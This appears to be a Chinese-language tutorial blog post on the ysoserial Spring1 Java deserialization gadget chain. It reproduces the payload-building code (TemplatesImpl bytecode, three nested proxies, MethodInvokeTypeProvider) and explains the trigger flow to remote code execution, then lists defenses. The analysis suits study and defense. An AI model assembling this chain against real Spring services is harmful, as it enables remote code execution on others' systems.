java反序列化学习-ysoserial-Spring1
字数 1854 2025-08-10 20:35:57

Java反序列化漏洞分析:ysoserial-Spring1利用链详解

一、漏洞背景

Spring1是ysoserial工具中的一个利用链,针对Spring框架的反序列化漏洞。该利用链利用了Spring框架中的多个特性,通过多层代理构造出一个复杂的调用链,最终实现远程代码执行(RCE)。

二、依赖环境

org.springframework:spring-core:4.1.4.RELEASE
org.springframework:spring-beans:4.1.4.RELEASE

三、核心代码分析

1. 主入口方法

public Object getObject(final String command) throws Exception {
    // 创建TemplatesImpl恶意对象
    final Object templates = Gadgets.createTemplatesImpl(command);
    
    // 第一层代理:ObjectFactory代理
    final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getObject", templates), ObjectFactory.class);
    
    // 第二层代理:Type/Templates代理
    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler)Reflections.getFirstCtor(
            "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
            .newInstance(objectFactoryProxy), 
        Type.class, Templates.class);
    
    // 第三层代理:TypeProvider代理
    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
    
    // 创建MethodInvokeTypeProvider实例
    final Constructor mitpCtor = Reflections.getFirstCtor(
        "org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(
        typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    
    // 设置methodName为"newTransformer"
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    
    return mitp;
}

2. 关键组件解析

(1) Gadgets.createTemplatesImpl(command)

创建恶意TemplatesImpl对象,核心是利用org.apache.xalan.xsltc.trax.TemplatesImpl_bytecodes属性存放恶意字节码。这些字节码会在newTransformer方法中被执行。

(2) 代理创建过程

public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
    return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
        .newInstance(Override.class, map);
}

四、利用链详细分析

1. 三层代理结构

第一层代理:ObjectFactory代理

  • 代理接口:ObjectFactory
  • InvocationHandler:AnnotationInvocationHandler
  • 关键映射:"getObject" → templates(恶意TemplatesImpl对象)

第二层代理:Type/Templates代理

  • 代理接口:TypeTemplates
  • InvocationHandler:ObjectFactoryDelegatingInvocationHandler
  • 关键属性:objectFactory指向第一层代理

第三层代理:TypeProvider代理

  • 代理接口:SerializableTypeWrapper$TypeProvider
  • InvocationHandler:AnnotationInvocationHandler
  • 关键映射:"getType" → 第二层代理

2. MethodInvokeTypeProvider构造

final Object mitp = mitpCtor.newInstance(
    typeProviderProxy,  // 第三层代理
    Object.class.getMethod("getClass", new Class[] {}), 
    0
);

设置methodName"newTransformer",这是触发RCE的关键。

五、反序列化触发流程

  1. 反序列化时首先触发MethodInvokeTypeProviderreadObject方法
  2. 执行ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName)
    • this.provider.getType()触发第三层代理的getType方法
    • 第三层代理调用AnnotationInvocationHandler.invoke
    • memberValues中获取"getType"对应的值(第二层代理)
  3. 第二层代理的ObjectFactoryDelegatingInvocationHandler.invoke被调用
    • 调用objectFactory.getObject()(第一层代理)
  4. 第一层代理的AnnotationInvocationHandler.invoke被调用
    • memberValues中获取"getObject"对应的值(恶意TemplatesImpl对象)
  5. 最终通过反射调用TemplatesImpl.newTransformer()执行恶意代码

六、关键点总结

  1. 多层代理嵌套:通过三层代理构造复杂调用链
  2. AnnotationInvocationHandler利用:利用其memberValues属性控制方法调用返回值
  3. ObjectFactoryDelegatingInvocationHandler:Spring特有的代理处理器,转发调用到ObjectFactory
  4. MethodInvokeTypeProvider触发点:其readObject方法触发整个调用链
  5. 最终触发点TemplatesImpl.newTransformer()执行恶意字节码

七、防御建议

  1. 升级Spring框架到安全版本
  2. 避免反序列化不可信数据
  3. 使用白名单机制限制反序列化的类
  4. 使用安全工具检测Java反序列化漏洞

八、技术要点

  1. Java动态代理机制:理解InvocationHandlerProxy的工作方式
  2. Spring框架内部机制:了解Spring的代理和类型处理机制
  3. 反序列化漏洞原理:掌握Java反序列化漏洞的触发机制
  4. Gadget构造技巧:学习如何将多个组件串联成可利用链
Java反序列化漏洞分析:ysoserial-Spring1利用链详解 一、漏洞背景 Spring1是ysoserial工具中的一个利用链,针对Spring框架的反序列化漏洞。该利用链利用了Spring框架中的多个特性,通过多层代理构造出一个复杂的调用链,最终实现远程代码执行(RCE)。 二、依赖环境 三、核心代码分析 1. 主入口方法 2. 关键组件解析 (1) Gadgets.createTemplatesImpl(command) 创建恶意TemplatesImpl对象,核心是利用 org.apache.xalan.xsltc.trax.TemplatesImpl 的 _bytecodes 属性存放恶意字节码。这些字节码会在 newTransformer 方法中被执行。 (2) 代理创建过程 四、利用链详细分析 1. 三层代理结构 第一层代理:ObjectFactory代理 代理接口: ObjectFactory InvocationHandler: AnnotationInvocationHandler 关键映射: "getObject" → templates (恶意TemplatesImpl对象) 第二层代理:Type/Templates代理 代理接口: Type 和 Templates InvocationHandler: ObjectFactoryDelegatingInvocationHandler 关键属性: objectFactory 指向第一层代理 第三层代理:TypeProvider代理 代理接口: SerializableTypeWrapper$TypeProvider InvocationHandler: AnnotationInvocationHandler 关键映射: "getType" → 第二层代理 2. MethodInvokeTypeProvider构造 设置 methodName 为 "newTransformer" ,这是触发RCE的关键。 五、反序列化触发流程 反序列化时首先触发 MethodInvokeTypeProvider 的 readObject 方法 执行 ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName) this.provider.getType() 触发第三层代理的 getType 方法 第三层代理调用 AnnotationInvocationHandler.invoke 从 memberValues 中获取 "getType" 对应的值(第二层代理) 第二层代理的 ObjectFactoryDelegatingInvocationHandler.invoke 被调用 调用 objectFactory.getObject() (第一层代理) 第一层代理的 AnnotationInvocationHandler.invoke 被调用 从 memberValues 中获取 "getObject" 对应的值(恶意TemplatesImpl对象) 最终通过反射调用 TemplatesImpl.newTransformer() 执行恶意代码 六、关键点总结 多层代理嵌套 :通过三层代理构造复杂调用链 AnnotationInvocationHandler利用 :利用其 memberValues 属性控制方法调用返回值 ObjectFactoryDelegatingInvocationHandler :Spring特有的代理处理器,转发调用到ObjectFactory MethodInvokeTypeProvider触发点 :其 readObject 方法触发整个调用链 最终触发点 : TemplatesImpl.newTransformer() 执行恶意字节码 七、防御建议 升级Spring框架到安全版本 避免反序列化不可信数据 使用白名单机制限制反序列化的类 使用安全工具检测Java反序列化漏洞 八、技术要点 Java动态代理机制 :理解 InvocationHandler 和 Proxy 的工作方式 Spring框架内部机制 :了解Spring的代理和类型处理机制 反序列化漏洞原理 :掌握Java反序列化漏洞的触发机制 Gadget构造技巧 :学习如何将多个组件串联成可利用链